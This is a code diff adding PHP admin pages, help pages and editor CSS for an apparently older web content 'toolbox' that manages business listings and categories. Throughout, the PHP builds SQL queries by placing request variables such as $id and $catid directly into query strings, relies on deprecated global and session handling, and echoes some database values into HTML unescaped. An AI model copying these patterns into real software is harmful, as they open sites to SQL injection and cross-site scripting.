+ $qs = "SELECT bc.id as catid, bcb.id as id,bc.category,bcb.pos
+ FROM bus_category bc,bus_category_bus bcb,bus b
+ WHERE bcb.busid = $id
+ AND bcb.catid = bc.id
+ AND b.id = bcb.busid
+ ORDER BY bc.category";
+
+ if(!$altres = $DB->db_exec($qs))
+ html_error(DB_ERROR_MSG.$qs,0);
+
+ for($rel=0;$rel<$DB->db_numrows($altres);$rel++) {
+ $altrow = $DB->db_fetch_array($altres,$rel,PGSQL_ASSOC);
+ $oldalt[$rel] = array_merge_recursive($altrow,$oldalt);
+ }
+ }
+ ?>
+ <tr><td class="navtd" align="right">Page:</td>
+ <td>
+ <? echo parent_select($catid,NULL,"catid[]");?>
+ <?$oldcatid = "";
+ for($i=0;$i<$DB->db_numrows($altcats);$i++)
+ {
+ $altrow = $DB->db_fetch_array($altcats,$i,PGSQL_ASSOC);
+ for($a=0;$a<count($oldalt);$a++)
+ {
+ if(is_array($oldalt) && ($oldalt[$a][catid] == $altrow[id]))
+ {
+ $oldcatid .= ":".$altrow[id];
+ }
+ }
+ }
+
+ ?>
+ <?if(MULTIPLE_CAT){?>
+ <input type="hidden" name="category" value="">
+ <?}?>
+ <input type="hidden" name="oldcatid" value="<?echo $oldcatid?>">
+</td></tr>
+<?
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+foreach($fields as $key=>$value) {
+ if($value[type] == "text") {
+ ?>
+ <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+ <td><input name="<?echo $value[name]?>"
+ value="<?echo htmlspecialchars($row[$value[name]])?>" size=40></td>
+ </tr>
+ <?
+}
+elseif($value['type'] == "seperator"){
+ echo '<tr><td colspan="2"><hr noshade></td></tr>';
+ echo '<tr><td colspan="2" align="center"><b>'.$value["name"].'</b></td></tr>';
+}
+elseif($value[type] == "img") {
+?>
+<tr></tr>
+<?
+echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+value=\"".$row[$value[name]]."\">";
+if($row[$value[name]] != "") {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+ echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\">
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+}
+echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+ }
+ elseif($value[type] == "file") {
+ ?>
+ <tr></tr>
+ <?
+ echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+ value=\"".$row[$value[name]]."\">";
+ if($row[$value[name]] != "") {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+ echo "<td>".$row[$value[name]]."
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+}
+if($value[type] == "desc") {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+ text_area("$value[name]",htmlspecialchars($row[$value[name]]));
+ echo "</tr>";
+}
+elseif($value[type] == "hide") {
+ echo "<input type=\"hidden\" name=\"".$value[title]."\"
+ value=\"".$row[$value[name]]."\">";
+}
+elseif($value[type] == "bool") {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+ echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"t\"".($row[$value[name]]=="t"?" checked":"");
+ echo ">Yes";
+ echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"f\"".($row[$value[name]]!="t"?" checked":"");
+ echo ">No";
+
+ echo "</tr>";
+ }
+}
+htmlcode(570,400);
+echo "\n";
+echo "</script>
+";
+echo '<input type="hidden" name="base_parent" value="'.$base_parent.'">';
+if(isset($id)) {
+?>
+<tr><td colspan=2 align=center>
+ <input type="submit" name="Command" value="Update">
+ <input type="submit" name="Command" value="Cancel">
+ <input type="submit" name="Command" value="Delete" onClick="
+ if(confirm('This will delete this Listing!\n Are you sure?'))
+ return(true);
+ else
+ return(false);
+ ">
+ </td>
+ <?
+}
+else {
+ form_footer("Insert","",2);
+}
+echo "</tr></table></form>";
+
+footer();
+?>
--- /dev/null
+<?php
+include_once("../../setup.phtml");
+include_once("toolbox_setup.inc");
+top2("Page (Add/Edit)", HELP_BASE."buscat.phtml?key=edit","ToolboxUserGuide_1.0");
+$lnav = array( "List Pages" => "list_bus_category.phtml");
+if(!CAT_LOCK)
+{
+ $lnav["Add Page"] = "edit_bus_category.phtml";
+}
+html_nav_table($lnav, 2);
+if(isset($id))
+{
+ if( DELUXE_TOOLBOX == 1 )
+ {
+ $qs = "SELECT id,category,intro,parent,kiosk_text,description,image,imagename,keyword,template,pos
+ FROM bus_category
+ WHERE id = $id";
+ }
+ else
+ {
+ $qs = "SELECT id,category,intro,parent,kiosk_text,description,image,pos
+ FROM bus_category
+ WHERE id = $id";
+ }
+
+ if(!$res = $DB->db_exec($qs))
+ html_error(DB_ERROR_MSG,1);
+
+ $row = $DB->db_fetch_array($res,0, PGSQL_ASSOC);
+ if(!$row[id])
+ {
+ html_error(DB_ERROR_MSG,1);
+ }
+}
+else
+{
+ if( DELUXE_TOOLBOX == 1 )
+ {
+ $row = array(
+ "category" => "",
+ "intro" => "",
+ "parent" => "",
+ "kiosk_text" => "",
+ "description" => "",
+ "image" => "",
+ "imagename" => "",
+ "keyword" => "",
+ "template" => "1"
+ );
+ }
+ else
+ {
+ $row = array(
+ "category" => "",
+ "intro" => "",
+ "parent" => "",
+ "kiosk_text" => "",
+ "description" => "",
+ "image" => ""
+ );
+ }
+}
+form_header("update_bus_category.phtml?".SID,"POST","");
+echo '<table id="admin-edit-table">';
+
+foreach($row as $key=>$value) {
+ switch($key) {
+
+ case "id":
+ echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+ break;
+
+ case "pos":
+ echo "<input type=\"hidden\" name=\"oldpos\" value=\"$value\">";
+ break;
+
+ case "parent":
+ echo "<tr><td>
+ <input type=\"hidden\" name=\"oldparent\" value=\"$value\">
+ Parent Page:</td>";
+ $output = parent_select($value,$id);
+ echo "<td>".$output."</td>";
+ echo "</tr>";
+ break;
+
+ case "category":
+ echo "<tr><td>Page Name:</td>";
+ text_box("category",$value);
+ echo "</tr>";
+ break;
+
+ case "imagename":
+ echo "<tr><td>Image Caption:</td>";
+ text_box("imagename",$value);
+ echo "</tr>";
+ break;
+
+ case "intro":
+ echo "<tr><td>Page Header:</td>";
+ text_box("intro",$value);
+ echo "</tr>";
+ break;
+
+ case "image":
+ echo "<tr><td>Current Image:</td>";
+ echo "<td>
+ <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+ if($value != "") {
+ echo "<img src=\"".MIDSIZED."$value\">
+ </td>
+ <tr>
+ <td >Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td>
+ New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+ break;
+
+ case "kiosk_text":
+ echo "<tr><td>Kiosk Description:</td>";
+ echo '<td><textarea id="kiosk" name="kiosk_text">'.htmlspecialchars($value).'</textarea></td>';
+ //text_area("description",htmlspecialchars($value),15,60);
+ echo "</tr>";
+ break;
+
+ case "description":
+ echo "<tr><td>Description:</td>";
+ text_area("description",htmlspecialchars($value),15,60);
+ echo "</tr>";
+ break;
+
+ case "keyword":
+ echo "<tr><td><font color=red>Keyword:</font></td>";
+ text_box("keyword",$value);
+ echo "</tr>";
+ break;
+
+ case "template":
+ echo "<tr><td>Template:</td>";
+ echo "<td>
+ <table cellpadding=\"3\" cellspacing=\"0\" border=0>
+ <tr>
+ <td><img src=\"../template1.gif\"></td>
+ <td><img src=\"../template2.gif\"></td>
+ <td><img src=\"../template3.gif\"></td>
+ <td><img src=\"../template4.gif\"></td>
+ <td><img src=\"../template5.gif\"></td>
+ </tr>
+ <tr>
+ <td>";
+ echo "1<input type=\"radio\" name=\"template\" value=\"1\" ";
+ if($value=="1")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "2<input type=\"radio\" name=\"template\" value=\"2\" ";
+ if($value=="2")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "3<input type=\"radio\" name=\"template\" value=\"3\" ";
+ if($value=="3")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "4<input type=\"radio\" name=\"template\" value=\"4\" ";
+ if($value=="4")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "5<input type=\"radio\" name=\"template\" value=\"5\" ";
+ if($value=="5")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ </tr>
+ </table>
+ </td></tr>";
+ break;
+
+ default:
+ html_error("Incorrect Value -> ".$key,1);
+ break;
+ }
+}
+
+htmlcode();
+ echo '
+ <script type="text/javascript">
+ //<![CDATA[
+
+ ';
+ if( HTMLAREA_CONTEXT_MENU )
+ {
+ echo '
+ HTMLArea.loadPlugin("ContextMenu");
+ ';
+ }
+ if( HTMLAREA_TABLES )
+ {
+ echo '
+ HTMLArea.loadPlugin("TableOperations");
+ ';
+ }
+ if( HTMLAREA_IMAGE_MANAGER )
+ {
+ echo '
+ HTMLArea.loadPlugin("ImageManager");
+ ';
+ }
+ if( HTMLAREA_CHARACTER_MAP )
+ {
+ echo '
+ HTMLArea.loadPlugin("CharacterMap");
+ ';
+ }
+ echo '
+ initdocument = function () {
+ var editor2 = new HTMLArea("kiosk");
+
+ ';
+
+ echo '
+ editor2.config.toolbar = [
+ [ "fontname", "space",
+ "fontsize", "space",
+ "formatblock", "space",
+ "bold", "italic", "underline", "separator" ],
+
+ [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+
+ "orderedlist", "unorderedlist", "outdent", "indent", "separator",
+ "forecolor", "separator",
+ "inserthorizontalrule", "createlink"';
+ if( HTMLAREA_TABLES )
+ {
+ echo ', "inserttable"';
+ }
+ if( HTMLAREA_IMAGE_MANAGER )
+ {
+ echo ', "insertimage"';
+ }
+ echo ', "htmlmode", "separator",
+ "copy", "cut", "paste", "space", "undo", "redo" ]
+ ];
+ ';
+ if( HTMLAREA_CONTEXT_MENU )
+ {
+ echo '
+ // add a contextual menu
+ editor2.registerPlugin("ContextMenu");
+ ';
+ }
+ if( HTMLAREA_TABLES )
+ {
+ echo '
+
+ // register the TableOperations plugin
+ editor2.registerPlugin(TableOperations);
+ ';
+ }
+ if( HTMLAREA_CHARACTER_MAP )
+ {
+ echo '
+
+ // register the CharacterMap plugin
+ editor2.registerPlugin(CharacterMap);
+ ';
+ }
+ echo '
+ editor2.generate();
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+ addEvent(window, \'load\', initdocument);
+ //]]>
+ </script>
+ ';
+if(isset($id)) {
+ $qs = "SELECT count(*) as count
+ FROM bus_category_bus
+ WHERE catid = $id";
+
+ if(!$res = $DB->db_exec($qs))
+ html_error(DB_ERROR_MSG.$qs,0);
+
+ $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+ ?>
+ <tr><td colspan=2>
+ <input type="submit" name="Command" value="Update">
+ <input type="submit" name="Command" value="Cancel">
+ <?
+ if(!CAT_LOCK && !check_lock($id))
+ {
+ ?>
+ <input type="submit" name="Command" value="Delete" onClick="
+ <?if($row[count]==0) {?>
+ if(confirm('This will delete this category!\n Are you sure?'))
+ return(true);
+ else
+ return(false);
+ <?}
+ else {?>
+ alert('You have to remove any records in\n this category first');
+ return(false);
+ <?}?>
+ ">
+ <?
+ }
+ ?>
+ </td></tr>
+ <?
+}
+else {
+ form_footer("Insert","",2);
+}
+echo '</table></form>
+<script type="text/javascript">
+ var kioskText = document.getElementById(\'kiosk\');
+ var charLimit = 1000;
+ kioskText.style.width = \'400px\';
+ kioskText.style.height = \'200px\';
+ kioskText.onkeyup = function(){
+ if( kioskText.value.length > charLimit )
+ {
+ kioskText.value = kioskText.value.substring(0,charLimit);
+ }
+ }
+</script>
+';
+
+footer();
+?>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Listings</h4>
+
+<P>
+This page lists the existing Listings.
+</p>
+<p>
+<b>Add A New Listing</b>
+</p>
+<p>This link will allow you to add new Listing</p>
+<p>
+<b>List Listings</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Listing</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Listing</h4>
+<P>
+This page is for editing and modifying an existing Listing in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Listings" page.
+</p>
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing. Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://.
+</p>
+<p>
+<b>Picture for Listing:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Listing. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">ADD an Link</h4>
+<P>
+This page is for Adding Links in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Links" page.
+</p>
+
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing. Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://.
+</p>
+
+<p>
+<b>Picture for Link:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Link. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+ break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+<P>
+This page lists the existing Listings Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[Listings]</b>
+</p>
+<p>
+This link will list out the Listings Items associated with a particular Category
+</p>
+<p>
+<h1><b>Notice:</b></h1>The categories are Displayed in a order based on there
+hierarchy.
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Listings Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the 0,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Listings Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the 0,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+ cursor: default;
+ background: ButtonFace;
+ padding: 1px 1px 2px 1px;
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+.htmlarea .toolbar .button {
+ background: ButtonFace;
+ color: ButtonText;
+ border: 1px solid ButtonFace;
+ padding: 1px;
+ margin: 0px;
+}
+.htmlarea .toolbar .buttonHover {
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+ padding: 2px 0px 0px 2px;
+ border: 1px solid;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+ background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+ padding: 0px 3px;
+ overflow: hidden;
+ width: 20px;
+ text-align: center;
+ cursor: default;
+ border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled { background-color: #aaa; }
+
+.htmlarea .toolbar .buttonDisabled img {
+ filter: alpha(opacity = 25);
+ -moz-opacity: 25%;
+}
+
+.htmlarea .toolbar .separator {
+ position: relative;
+ margin: 3px;
+ border-left: 1px solid ButtonShadow;
+ border-right: 1px solid ButtonHighlight;
+ width: 0px;
+ height: 16px;
+ padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+ border: 1px solid;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+ padding: 2px 4px;
+ background-color: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+ padding: 2px 5px;
+ color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+ background-color: Highlight;
+ color: HighlightText;
+ padding: 1px 4px;
+ border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+ color: ButtonText;
+ background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+ background: #008;
+ color: #ff8;
+ border-bottom: 1px solid #000;
+ padding: 1px 0px 2px 5px;
+ font-size: 12px;
+ font-weight: bold;
+ cursor: default;
+}
+
+.dialog .title .button {
+ float: right;
+ border: 1px solid #66a;
+ padding: 0px 1px 0px 2px;
+ margin-right: 1px;
+ color: #fff;
+ text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+ width: 5em;
+ padding: 0px;
+}
+
+.dialog .buttonColor {
+ padding: 1px;
+ cursor: default;
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+ border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+ height: 0.6em;
+ border: 1px solid;
+ padding: 0px 1em;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+ border: 2px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+ padding: 0px;
+ margin: 0px;
+}
+
+.popupwin .title {
+ background: #fff;
+ color: #000;
+ font-weight: bold;
+ font-size: 120%;
+ padding: 3px 10px;
+ margin-bottom: 10px;
+ border-bottom: 1px solid black;
+ letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
--- /dev/null
+<?
+header("Location: list_bus_category.phtml");
+?>
--- /dev/null
+<?php
+//$Id: list_bus.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+include_once("../../setup.phtml");
+include_once('toolbox_setup.inc');
+$qs = "SELECT category
+ FROM bus_category
+ WHERE id = $catid";
+if(!$catres = $DB->db_exec($qs))
+{
+ html_error(DB_ERROR_MSG.$qs,1);
+}
+$catrow = $DB->db_fetch_array($catres,0,PGSQL_ASSOC);
+$qs = "SELECT b.id,b.name,bcb.pos
+ FROM bus b,bus_category_bus bcb
+ WHERE bcb.catid = $catid
+ AND b.id = bcb.busid
+ AND bcb.catid = $catid
+ ORDER BY bcb.pos";
+if(!$res = $DB->db_exec($qs))
+{
+ html_error(DB_ERROR_MSG.$qs,1);
+}
+top("$catrow[category] Paragraphs", HELP_BASE."bus.phtml?key=list","ToolboxUserGuide_1.0");
+$lnav = array(
+ "Add A New Paragraph" => "edit_bus.phtml?catid=$catid",
+ "List Pages" => "list_bus_category.phtml"
+ );
+html_nav_table($lnav, 2);
+?>
+ <form action="update_bus.phtml" method="POST">
+<table id="admin-list-table">
+<tr>
+<th> Function </th>
+<th> Records </th>
+</tr>
+<?
+for($i = 0; $i < $DB->db_numrows($res); $i++) {
+ $row = $DB->db_fetch_array($res,$i, PGSQL_ASSOC);
+ if(!$row[id])
+ {
+ html_error(DB_ERROR_MSG,1);
+ }
+ ?>
+<tr>
+ <td class="navtd2" nowrap>
+ <a href="edit_bus.phtml?id=<?echo $row[id]?>&catid=<?echo $catid?>">[Edit]</a>
+ <?
+ $qs = "SELECT MAX(bus_category_bus.pos) as maxpos
+ FROM bus LEFT OUTER JOIN bus_category_bus ON (bus.id = bus_category_bus.busid)
+ WHERE bus_category_bus.catid = $catid;";
+ if(!$maxresult = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+ $max_data = $DB->db_fetch_array($maxresult,0,PGSQL_ASSOC);
+ $maxpos = $max_data[maxpos];
+ $qs = "SELECT bcb.id
+ FROM bus_category_bus bcb,bus b
+ WHERE bcb.catid = $catid
+ AND b.id = bcb.busid
+ AND b.id = $row[id]
+ AND bcb.busid = b.id
+ ";
+
+ if(!$idres = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+ $idrow = $DB->db_fetch_array($idres,0,PGSQL_ASSOC);
+ $pos = "<font size=-4><select name=pos
+ onChange=location.href=this[this.selectedIndex].value;
+ size=1>";
+ for($newpos=1;$newpos<=$maxpos;$newpos++)
+ {
+ $string = "Command=Move&id=$idrow[id]&newpos=$newpos&catid=$catid";
+ $pos .= "<option value=\"update_bus.phtml?$string\"";
+ if($newpos == $row[pos])
+ {
+ $pos .= " selected";
+ }
+ $pos .= ">$newpos\n";
+ }
+ $pos .= "</select></font>";
+ echo $pos;
+ ?>
+ </td>
+ <td class="navtd2" width="80%"><?echo $row['name']?></td>
+</tr>
+ <?
+ }
+echo '</table>
+</form>';
+footer();
+?>
--- /dev/null
+<?php
+session_start();
+session_register("expanded");
+if( is_numeric( $_GET['expand'] ) )
+{
+ // code for adding expanded
+ $expanded[$_GET['expand']] = $_GET['expand'];
+}
+if( is_numeric( $fold ) )
+{
+ // code for folding
+ $oldexp = $expanded;
+ session_unregister("expanded");
+ unset($oldexp[$fold]);
+ $expanded = $oldexp;
+ session_register("expanded");
+}
+//$Id: list_bus_category.phtml,v 1.2 2006/05/04 16:03:25 matrix Exp $
+include_once("../../setup.phtml");
+include_once("toolbox_setup.inc");
+
+top("Pages (List)",HELP_BASE."buscat.phtml?key=list","ToolboxUserGuide_1.0");
+echo '<div id="toolbox-list-cat">';
+if(isset($active))
+{
+ if($active=="t")
+ {
+ $nd = "f";
+ }
+ else
+ {
+ $nd = "y";
+ }
+ $query = "UPDATE bus_category SET active = '$nd' WHERE id = $id";
+ $DB->db_exec($query);
+}
+if(isset($kiosk))
+{
+ if($kiosk=="t")
+ {
+ $nd = "f";
+ }
+ else
+ {
+ $nd = "y";
+ }
+ $query = "UPDATE bus_category SET kiosk = '$nd' WHERE id = $id";
+ $DB->db_exec($query);
+}
+$lnav["Edit Positions"] = "list_bus_category.phtml?show_pos=1";
